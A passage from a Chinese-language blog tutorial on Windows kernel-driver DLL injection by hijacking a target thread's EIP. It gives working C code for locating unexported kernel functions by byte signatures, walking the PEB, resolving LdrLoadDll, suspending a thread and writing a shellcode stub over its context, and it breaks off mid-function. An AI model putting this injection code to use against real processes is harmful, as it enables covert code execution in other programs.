驱动开发:内核RIP劫持实现DLL注入

news2024/10/7 12:23:12

本章将探索内核级DLL模块注入实现原理,DLL模块注入在应用层中通常会使用CreateRemoteThread直接开启远程线程执行即可,驱动级别的注入有多种实现原理,而其中最简单的一种实现方式则是通过劫持EIP的方式实现,其实现原理可总结为,挂起目标进程,停止目标进程EIP的变换,在目标进程开启空间,并把相关的指令机器码和数据拷贝到里面去,然后直接修改目标进程EIP使其强行跳转到我们拷贝进去的相关机器码位置,执行相关代码后,然后再次跳转回来执行原始指令集。

在内核模式中实现这一过程大体可分为如下步骤;

  • 1.通过PsLookupProcessByProcessId将进程PID转为EProcess结构
  • 2.通过KeStackAttachProcess附加到目标进程
  • 3.通过GetUserModule得到当前进程中Ntdll.dll模块的基址
  • 4.通过GetModuleExport得到Ntdll.dll模块内LdrLoadDll函数基址
  • 5.通过ZwGetNextThread得到当前线程句柄
  • 6.通过PsSuspendThread暂停当前线程运行
  • 7.此时通过GetWow64Code生成特定的加载代码,并放入ZwAllocateVirtualMemory生成的内存中
  • 8.修改当前EIP的值指向newAddress内存地址
  • 7.通过PsResumeThread恢复线程执行,让其执行我们的ShellCode代码
  • 8.最后调用KeUnstackDetachProcess脱离目标进程,并释放句柄

首先需要定义一个标准头文件,并将其命名为lyshark.h其定义部分如下所示,此部分内容摘录于微软官方文档,如果需要了解结构体内的含义,请去自行查阅微软官方文档;

// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com

#include <ntifs.h>
#include <windef.h>
#include <intrin.h>
#include <ntimage.h>
#include <ntstrsafe.h>

// 线程结构体偏移值
#define MAXCOUNTS 0x200
#define INITIALSTACKOFFSET 0x28
#define WOW64CONTEXTOFFSET 0x1488
#define WOW64_SIZE_OF_80387_REGISTERS 80
#define WOW64_MAXIMUM_SUPPORTED_EXTENSION 512

// 导出函数
NTKERNELAPI PPEB NTAPI PsGetProcessPeb(IN PEPROCESS Process);

// 定义自定义函数指针
typedef PVOID(NTAPI* PPsGetThreadTeb)(IN PETHREAD Thread);
typedef PVOID(NTAPI* PPsGetProcessWow64Process)(_In_ PEPROCESS Process);
typedef NTSTATUS(NTAPI* PPsResumeThread)(PETHREAD Thread, OUT PULONG PreviousCount);
typedef NTSTATUS(NTAPI* PPsSuspendThread)(IN PETHREAD Thread, OUT PULONG PreviousSuspendCount OPTIONAL);
typedef NTSTATUS(NTAPI* PZwGetNextThread)(_In_ HANDLE ProcessHandle, _In_ HANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess, _In_ ULONG HandleAttributes, _In_ ULONG Flags, _Out_ PHANDLE NewThreadHandle);

// 存放全局函数指针的变量
PPsGetThreadTeb g_PsGetThreadTeb = NULL;
PPsResumeThread g_PsResumeThread = NULL;
PPsSuspendThread g_PsSuspendThread = NULL;
PZwGetNextThread g_ZwGetNextThread = NULL;
PPsGetProcessWow64Process g_PsGetProcessWow64Process = NULL;

// 定义微软结构体
typedef struct _PEB_LDR_DATA32
{
	ULONG Length;
	UCHAR Initialized;
	ULONG SsHandle;
	LIST_ENTRY32 InLoadOrderModuleList;
	LIST_ENTRY32 InMemoryOrderModuleList;
	LIST_ENTRY32 InInitializationOrderModuleList;
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;

typedef struct _PEB_LDR_DATA
{
	ULONG Length;
	UCHAR Initialized;
	PVOID SsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY32
{
	LIST_ENTRY32 InLoadOrderLinks;
	LIST_ENTRY32 InMemoryOrderLinks;
	LIST_ENTRY32 InInitializationOrderLinks;
	ULONG DllBase;
	ULONG EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING32 FullDllName;
	UNICODE_STRING32 BaseDllName;
	ULONG Flags;
	USHORT LoadCount;
	USHORT TlsIndex;
	LIST_ENTRY32 HashLinks;
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;

typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	USHORT LoadCount;
	USHORT TlsIndex;
	LIST_ENTRY HashLinks;
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct _PEB32
{
	UCHAR InheritedAddressSpace;
	UCHAR ReadImageFileExecOptions;
	UCHAR BeingDebugged;
	UCHAR BitField;
	ULONG Mutant;
	ULONG ImageBaseAddress;
	ULONG Ldr;
	ULONG ProcessParameters;
	ULONG SubSystemData;
	ULONG ProcessHeap;
	ULONG FastPebLock;
	ULONG AtlThunkSListPtr;
	ULONG IFEOKey;
	ULONG CrossProcessFlags;
	ULONG UserSharedInfoPtr;
	ULONG SystemReserved;
	ULONG AtlThunkSListPtr32;
	ULONG ApiSetMap;
} PEB32, *PPEB32;

typedef struct _PEB
{
	UCHAR InheritedAddressSpace;
	UCHAR ReadImageFileExecOptions;
	UCHAR BeingDebugged;
	UCHAR BitField;
	PVOID Mutant;
	PVOID ImageBaseAddress;
	PPEB_LDR_DATA Ldr;
	PVOID ProcessParameters;
	PVOID SubSystemData;
	PVOID ProcessHeap;
	PVOID FastPebLock;
	PVOID AtlThunkSListPtr;
	PVOID IFEOKey;
	PVOID CrossProcessFlags;
	PVOID KernelCallbackTable;
	ULONG SystemReserved;
	ULONG AtlThunkSListPtr32;
	PVOID ApiSetMap;
} PEB, *PPEB;

typedef struct _KLDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	PVOID ExceptionTable;
	ULONG ExceptionTableSize;
	PVOID GpValue;
	ULONG UnKnow;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	USHORT LoadCount;
	USHORT __Unused5;
	PVOID SectionPointer;
	ULONG CheckSum;
	PVOID LoadedImports;
	PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

typedef struct _WOW64_FLOATING_SAVE_AREA
{
	DWORD ControlWord;
	DWORD StatusWord;
	DWORD TagWord;
	DWORD ErrorOffset;
	DWORD ErrorSelector;
	DWORD DataOffset;
	DWORD DataSelector;
	BYTE RegisterArea[WOW64_SIZE_OF_80387_REGISTERS];
	DWORD Cr0NpxState;
} WOW64_FLOATING_SAVE_AREA;

typedef struct _WOW64_CONTEXT
{
	DWORD padding;
	DWORD ContextFlags;
	DWORD Dr0;
	DWORD Dr1;
	DWORD Dr2;
	DWORD Dr3;
	DWORD Dr6;
	DWORD Dr7;
	WOW64_FLOATING_SAVE_AREA FloatSave;
	DWORD SegGs;
	DWORD SegFs;
	DWORD SegEs;
	DWORD SegDs;
	DWORD Edi;
	DWORD Esi;
	DWORD Ebx;
	DWORD Edx;
	DWORD Ecx;
	DWORD Eax;
	DWORD Ebp;
	DWORD Eip;
	DWORD SegCs;
	DWORD EFlags;
	DWORD Esp;
	DWORD SegSs;
	BYTE ExtendedRegisters[WOW64_MAXIMUM_SUPPORTED_EXTENSION];
} WOW64_CONTEXT, *PWOW64_CONTEXT;

// 自定义注入结构体
typedef struct _INJECT_BUFFER
{
	UCHAR Code[0x200];
	UNICODE_STRING Path;
	UNICODE_STRING32 Path32;
	wchar_t Buffer[488];
	PVOID ModuleHandle;
	ULONG Complete;
	NTSTATUS Status;
	ULONG64 orgRipAddress;
	ULONG64 orgRip;
} INJECT_BUFFER, *PINJECT_BUFFER;

SearchOPcode 特征码定位基址: 在注入之前我们需要通过SearchOPcode()函数动态的寻找几个关键函数的基址,以PsSuspendThread函数的寻找为例,通过WinDBG我们可以定位到该函数,该函数模块在ntoskrnl.exe中,且无法直接通过MmGetSystemRoutineAddress拿到,为了能通过代码拿到该函数的入口地址,我提取fffff804204de668fffff804204de670位置处的特征码,由于fffff804204de668距离PsSuspendThread函数开头只有24字节,所以直接通过-24即可得到。

通过调用SearchOPcode()并传入机器码即可直接拿到PsSuspendThread的入口地址,根据上述方式我们需要分别得到PsSuspendThreadPsResumeThread这几个函数的内存基址,这些函数的具体作用如下所示;

  • PsSuspendThread() 用于暂停或者挂起线程
  • PsResumeThread() 用于恢复线程

其次还需要通过MmGetSystemRoutineAddress函数动态的得到ZwGetNextThreadPsGetThreadTebPsGetProcessWow64Process这几个函数的基址,这些函数的具体作用如下所示;

  • ZwGetNextThread() 用于获取下一个活动线程
  • PsGetThreadTeb() 用于获取线程TEB结构
  • PsGetProcessWow64Process() 判断当前进程是否为32位

完整代码如下所示,运行这段代码将定位到我们所需的所有内核函数的基址信息;

// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com
#include "lyshark.h"

// 内核特征码定位函数封装
// 参数1:传入驱动句柄
// 参数2:传入驱动模块名
// 参数3:传入节表名称
// 参数4:传入待搜索机器码字节数组
// 参数5:传入机器码长度
// 参数6:基址修正字节数
PVOID SearchOPcode(PDRIVER_OBJECT pObj, PWCHAR DriverName, PCHAR sectionName, PUCHAR opCode, DWORD len, DWORD offset)
{
	PVOID dllBase = NULL;
	UNICODE_STRING uniDriverName;
	PKLDR_DATA_TABLE_ENTRY firstentry;

	// 获取驱动入口
	PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pObj->DriverSection;

	firstentry = entry;
	RtlInitUnicodeString(&uniDriverName, DriverName);

	// 开始遍历
	while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
	{
		if (entry->FullDllName.Buffer != 0 && entry->BaseDllName.Buffer != 0)
		{
			// 如果找到了所需模块则将其基地址返回
			if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
			{
				dllBase = entry->DllBase;
				break;
			}
		}
		entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
	}

	if (dllBase)
	{
		__try
		{
			// 载入模块基地址
			PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)dllBase;
			if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
			{
				return NULL;
			}

			// 得到模块NT头以及Section节头
			PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)dllBase + ImageDosHeader->e_lfanew);
			PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader);

			PUCHAR endAddress = 0;
			PUCHAR starAddress = 0;

			// 寻找符合条件的节
			for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++)
			{
				if (memcmp(sectionName, pSectionHeader->Name, strlen(sectionName) + 1) == 0)
				{
					starAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase;
					endAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase + pSectionHeader->SizeOfRawData;
					break;
				}
				pSectionHeader++;
			}

			if (endAddress && starAddress)
			{
				// 找到会开始寻找特征
				for (; starAddress < endAddress - len - 1; starAddress++)
				{
					// 验证访问权限
					if (MmIsAddressValid(starAddress))
					{
						DWORD i = 0;
						for (; i < len; i++)
						{
							// 判断是否为通配符'*'
							if (opCode[i] == 0x2a)
							{
								continue;
							}

							// 找到了一个字节则跳出
							if (opCode[i] != starAddress[i])
							{
								break;
							}

						}
						// 找到次数完全匹配则返回地址
						if (i == len)
						{
							return starAddress + offset;
						}
					}
				}
			}
		}
		__except (EXCEPTION_EXECUTE_HANDLER) {}
	}

	return NULL;
}

NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
	DbgPrint("Hello LyShark.com \n");

	/*
	0: kd> uf PsSuspendThread
	nt!PsSuspendThread:
	fffff804`204de650 4889542410      mov     qword ptr [rsp+10h],rdx
	fffff804`204de655 48894c2408      mov     qword ptr [rsp+8],rcx
	fffff804`204de65a 53              push    rbx
	fffff804`204de65b 56              push    rsi
	fffff804`204de65c 57              push    rdi
	fffff804`204de65d 4156            push    r14
	fffff804`204de65f 4157            push    r15
	fffff804`204de661 4883ec30        sub     rsp,30h
	fffff804`204de665 4c8bf2          mov     r14,rdx
	fffff804`204de668 488bf9          mov     rdi,rcx
	fffff804`204de66b 8364242000      and     dword ptr [rsp+20h],0
	fffff804`204de670 65488b342588010000 mov   rsi,qword ptr gs:[188h]
	fffff804`204de679 4889742470      mov     qword ptr [rsp+70h],rsi
	fffff804`204de67e 66ff8ee4010000  dec     word ptr [rsi+1E4h]
	fffff804`204de685 4c8db9c8060000  lea     r15,[rcx+6C8h]
	fffff804`204de68c 4c897c2478      mov     qword ptr [rsp+78h],r15
	fffff804`204de691 498bcf          mov     rcx,r15
	fffff804`204de694 e8c7ff95ff      call    nt!ExAcquireRundownProtection (fffff804`1fe3e660)
	fffff804`204de699 84c0            test    al,al
	fffff804`204de69b 0f84495a1100    je      nt!PsSuspendThread+0x115a9a (fffff804`205f40ea)  Branch
	*/
	UCHAR SuspendOpCode[] = { 0x48, 0x8b, 0xf9, 0x83, 0x64, 0x24, 0x20, 0x00, 0x65, 0x48, 0x8b, 0x34, 0x25, 0x88, 0x01 };

	/*
	0: kd> uf PsResumeThread
	nt!PsResumeThread:
	fffff804`204c7ab0 48895c2408      mov     qword ptr [rsp+8],rbx
	fffff804`204c7ab5 4889742410      mov     qword ptr [rsp+10h],rsi
	fffff804`204c7aba 57              push    rdi
	fffff804`204c7abb 4883ec20        sub     rsp,20h
	fffff804`204c7abf 488bda          mov     rbx,rdx
	fffff804`204c7ac2 488bf9          mov     rdi,rcx
	fffff804`204c7ac5 e8ee4fa5ff      call    nt!KeResumeThread (fffff804`1ff1cab8)
	fffff804`204c7aca 65488b142588010000 mov   rdx,qword ptr gs:[188h]
	fffff804`204c7ad3 8bf0            mov     esi,eax
	fffff804`204c7ad5 83f801          cmp     eax,1
	fffff804`204c7ad8 7521            jne     nt!PsResumeThread+0x4b (fffff804`204c7afb)  Branch
	*/
	UCHAR ResumeOpCode[] = { 0x48, 0x8b, 0xf9, 0xe8, 0xee, 0x4f, 0xa5, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, 0x88 };

	// 特征码检索PsSuspendThread函数基址
	g_PsSuspendThread = (PPsSuspendThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", SuspendOpCode, sizeof(SuspendOpCode), -24);
	DbgPrint("PsSuspendThread = %p \n", g_PsSuspendThread);

	// 特征码检索PsResumeThread基址
	g_PsResumeThread = (PPsResumeThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", ResumeOpCode, sizeof(ResumeOpCode), -18);
	DbgPrint("PsResumeThread = %p \n", g_PsResumeThread);

	// 动态获取内存中的ZwGetNextThread基址
	UNICODE_STRING ZwGetNextThreadString = RTL_CONSTANT_STRING(L"ZwGetNextThread");
	g_ZwGetNextThread = (PZwGetNextThread)MmGetSystemRoutineAddress(&ZwGetNextThreadString);
	DbgPrint("ZwGetNextThread = %p \n", g_ZwGetNextThread);

	// 动态获取内存中的PsGetThreadTeb基址
	UNICODE_STRING PsGetThreadTebString = RTL_CONSTANT_STRING(L"PsGetThreadTeb");
	g_PsGetThreadTeb = (PPsGetThreadTeb)MmGetSystemRoutineAddress(&PsGetThreadTebString);
	DbgPrint("PsGetThreadTeb = %p \n", g_PsGetThreadTeb);

	// 动态获取内存中的PsGetProcessWow64Process基址
	UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
	g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
	DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);

	Driver->DriverUnload = UnDriver;
	return STATUS_SUCCESS;
}

编译并运行如上代码片段,则会输出我们所需函数的入口地址,输出效果图如下所示;

GetUserModule 获取模块基址: 此函数的功能是获取到当前内核下特定模块的基址,函数接收三个参数,在入口DriverEntry位置通过KeStackAttachProcess附加到进程空间内,如果是32位进程则通过PsGetProcessWow64Process得到进程的PEB结构,如果是64位则通过PsGetProcessPeb得到PEB进程环境块的目的是为了解析PLIST_ENTRY32链表,通过RtlCompareUnicodeString对比模块是否符合要求,如果符合则在此链表中取出LdrDataTableEntry32->DllBase模块基址并返回给调用者,其完整代码片段如下所示;

  • 1.通过KeStackAttachProcess附加到用户层进程空间内
  • 2.通过各种函数获取到进程PEB进程环境块
  • 3.遍历PLIST_ENTRY32链表,判断ModuleName是否所需
  • 4.获取LdrDataTableEntry32->DllBase中的模块基址
// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com

#include "lyshark.h"

// 得到当前用户进程下的模块基址
// 参数1:传入用户EProcess结构
// 参数2:传入模块名
// 参数3:是否32位
PVOID GetUserModule(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64)
{
	if (EProcess == NULL)
		return NULL;
	__try
	{
		// 执行32位
		if (IsWow64)
		{
			// 获取32位下的PEB进程环境块
			PPEB32 Peb32 = (PPEB32)g_PsGetProcessWow64Process(EProcess);
			if (Peb32 == NULL)
				return NULL;

			if (!Peb32->Ldr)
				return NULL;

			// 循环遍历链表 寻找模块
			for (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink;
				ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList;
				ListEntry = (PLIST_ENTRY32)ListEntry->Flink)
			{
				UNICODE_STRING UnicodeString;
				PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks);

				// 初始化模块名
				RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer);

				// 对比模块名是否符合
				if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0)
					return (PVOID)LdrDataTableEntry32->DllBase;
			}
		}
		// 执行64位
		else
		{
			// 得到64位PEB进程环境块
			PPEB Peb = PsGetProcessPeb(EProcess);
			if (!Peb)
				return NULL;

			if (!Peb->Ldr)
				return NULL;

			// 开始遍历模块
			for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink;
				ListEntry != &Peb->Ldr->InLoadOrderModuleList;
				ListEntry = ListEntry->Flink)
			{
				// 得到表头
				PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

				// 判断是否是所需要的模块
				if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0)
					return LdrDataTableEntry->DllBase;
			}
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER){}

	return NULL;
}

NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
	DbgPrint("Hello LyShark.com \n");

	// 动态获取内存中的PsGetProcessWow64Process基址
	UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
	g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
	DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);

	PEPROCESS pEprocess = NULL;
	DWORD pid = 6084;

	// 根据PID得到进程Eprocess结构
	if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
	{
		// 初始化结构
		UNICODE_STRING ntdllString = RTL_CONSTANT_STRING(L"Ntdll.dll");

		KAPC_STATE kApc = { 0 };

		// 附加到进程内
		KeStackAttachProcess(pEprocess, &kApc);

		// 获取NTDLL的模块基地址
		PVOID ntdll_address = GetUserModule(pEprocess, &ntdllString, TRUE);
		if (ntdll_address != NULL)
		{
			DbgPrint("[*] Ntdll Addr = %p \n", ntdll_address);
		}

		// 取消附加
		KeUnstackDetachProcess(&kApc);

		// 递减计数
		ObDereferenceObject(pEprocess);
	}

	Driver->DriverUnload = UnDriver;
	return STATUS_SUCCESS;
}

运行如上这段程序,则会取出进程ID为6084Ntdll.dll的模块基址,输出效果图如下所示;

GetModuleExport 取导出表函数基址: 此函数的功能是获取到当前内核下特定模块中的特定函数(内存中)基址,函数接收两个参数,在入口DriverEntry位置通过KeStackAttachProcess附加到进程空间内,通过解析IMAGE_DIRECTORY_ENTRY_EXPORT导出表取出导出函数名,此处需要注意如果函数名指针小于等于0xFFFF则说明是序号导出,如果大于0xFFFF则说明是名字导出,判断名字是否一致,如果一致则返回当前内存的ModuleBase模块基址加上pAddressOfFuncs[OrdIndex]相对偏移,从而获取到内存中的绝对地址,完整代码片段如下所示;

// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com

#include "lyshark.h"

// 根据函数名得到导出表地址
// 参数1:传入模块入口地址
// 参数2:传入导出函数名
PVOID GetModuleExport(IN PVOID ModuleBase, IN PCCHAR FunctionName)
{
	PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
	PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL;
	PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL;
	PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL;
	ULONG ExportDirectorySize = 0;
	ULONG_PTR FunctionAddress = 0;

	if (ModuleBase == NULL)
		return NULL;

	__try
	{
		// 判断是否是DOS头
		if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
		{
			return NULL;
		}

		// 获取PE结构节NT头
		ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
		ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);

		// 判断是否是64位
		if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
		{
			// 如果是64位则执行如下
			ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
			ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
		}
		else
		{
			// 如果32位则执行如下
			ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
			ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
		}

		// 取出导出表Index,名字,函地址等
		PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase);
		PULONG  pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase);
		PULONG  pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase);

		// 循环导出表
		for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i)
		{
			USHORT OrdIndex = 0xFFFF;
			PCHAR  pName = NULL;

			// 说明是序号导出
			if ((ULONG_PTR)FunctionName <= 0xFFFF)
			{
				// 得到函数序号
				OrdIndex = (USHORT)i;
			}
			// 说明是名字导出
			else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames)
			{
				// 得到函数名
				pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase);
				OrdIndex = pAddressOfOrds[i];
			}

			else
				return NULL;

			// 判断函数名是否符合
			if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) ||
				((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0))
			{
				// 得到完整地址
				FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase;
				break;
			}
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER){}

	return (PVOID)FunctionAddress;
}

NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
	DbgPrint("Hello LyShark.com \n");

	PEPROCESS pEprocess = NULL;
	DWORD pid = 6084;

	// 根据PID得到进程Eprocess结构
	if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
	{
		KAPC_STATE kApc = { 0 };

		// ntdll.dll模块基址
		PVOID ntdll_address = (PVOID)0x0000000077540000;

		// 附加到进程内
		KeStackAttachProcess(pEprocess, &kApc);

		// 取模块中LdrLoadDll函数基址
		PVOID LdrLoadDllAddress = GetModuleExport(ntdll_address, "LdrLoadDll");

		DbgPrint("[*] LdrLoadDllAddress = %p \n", LdrLoadDllAddress);

		// 取消附加
		KeUnstackDetachProcess(&kApc);

		// 递减计数
		ObDereferenceObject(pEprocess);
	}

	Driver->DriverUnload = UnDriver;
	return STATUS_SUCCESS;
}

编译并运行如上代码片段,即可获取到进程6084号,ntdll.dll模块中LdrLoadDll的内存地址,其输出效果图如下所示;

GetCurrentContext 获取当前线程上下文: 此函数的功能是获取附加进程内当前线程的上下文地址,函数接收一个参数,内部通过PsLookupProcessByProcessId得到进程EProcess结构体,通过KeStackAttachProcess附加到进程内,调用g_ZwGetNextThread获取当当前线程上下文,函数ObReferenceObjectByHandle用于将Handle转换为线程对象,之后再通过g_PsSuspendThread暂停线程后,即可通过各类函数获取到该线程的绝大部分信息,最终在调用结束时记得调用g_PsResumeThread恢复线程的运行,并KeUnstackDetachProcess脱离附加,解析上下文环境完整代码如下所示;

// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com

#include "lyshark.h"

// ShellCode 注入线程函数
NTSTATUS GetCurrentContext(ULONG pid, PVOID* allcateAddress)
{
	PEPROCESS pEprocess = NULL;

	// 根据PID得到进程Eprocess结构
	if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
	{
		KAPC_STATE kApc = { 0 };

		// 附加到进程内
		KeStackAttachProcess(pEprocess, &kApc);

		HANDLE threadHandle = NULL;

		// 得到当前正在运行的线程上下文
		if (NT_SUCCESS(g_ZwGetNextThread((HANDLE)-1, (HANDLE)0, 0x1FFFFF, 0x240, 0, &threadHandle)))
		{
			PVOID threadObj = NULL;

			// 在对象句柄上提供访问验证,如果可以授予访问权限,则返回指向对象的正文的相应指针。
			NTSTATUS state = ObReferenceObjectByHandle(threadHandle, 0x1FFFFF, *PsThreadType, KernelMode, &threadObj, NULL);
			if (NT_SUCCESS(state))
			{
				// 暂停线程
				g_PsSuspendThread(threadObj, NULL);

				__try
				{
					// 得到TEB
					PVOID pTeb = g_PsGetThreadTeb(threadObj);
					if (pTeb)
					{
						DbgPrint("[+] 线程环境块TEB = %p \n", pTeb);

						// 得到当前线程上下文
						/* WOW64CONTEXTOFFSET = TlsSlots + 8
							0: kd> dt _TEB
							nt!_TEB
							+ 0x000 NtTib            : _NT_TIB
							+ 0x1258 StaticUnicodeString : _UNICODE_STRING
							+ 0x1268 StaticUnicodeBuffer : [261] Wchar
							+ 0x1472 Padding3 : [6] UChar
							+ 0x1478 DeallocationStack : Ptr64 Void
							+ 0x1480 TlsSlots : [64] Ptr64 Void
							+ 0x1680 TlsLinks : _LIST_ENTRY
							+ 0x1690 Vdm : Ptr64 Void
							+ 0x1698 ReservedForNtRpc : Ptr64 Void
							+ 0x16a0 DbgSsReserved : [2] Ptr64 Void
						*/

						PWOW64_CONTEXT  pCurrentContext = (PWOW64_CONTEXT)(*(ULONG64*)((ULONG64)pTeb + WOW64CONTEXTOFFSET));
						DbgPrint("[-] 当前上下文EIP = %p \n", pCurrentContext->Eip);

						// 检查上下文是否可读
						ProbeForRead((PVOID)pCurrentContext, sizeof(pCurrentContext), sizeof(CHAR));

						UCHAR Code[] = {
							0xb8, 0x0, 0x0, 0x0, 0x0,        // mov eax, orgEip
							0x58,                            // pop eax
							0xc3                             // ret
						};

						// 将ShellCode拷贝到InjectBuffer中等待处理
						RtlCopyMemory(allcateAddress, Code, sizeof(Code));
						DbgPrint("[*] 拷贝 [%p] 内存 \n", allcateAddress);;

						// 修改代码模板,将指定位置替换为我们自己的代码
						*(ULONG*)((PUCHAR)allcateAddress + 1) = pCurrentContext->Eip;
						DbgPrint("[*] 替换 [ %p ] 跳转地址 \n", pCurrentContext->Eip);

						// 执行线程
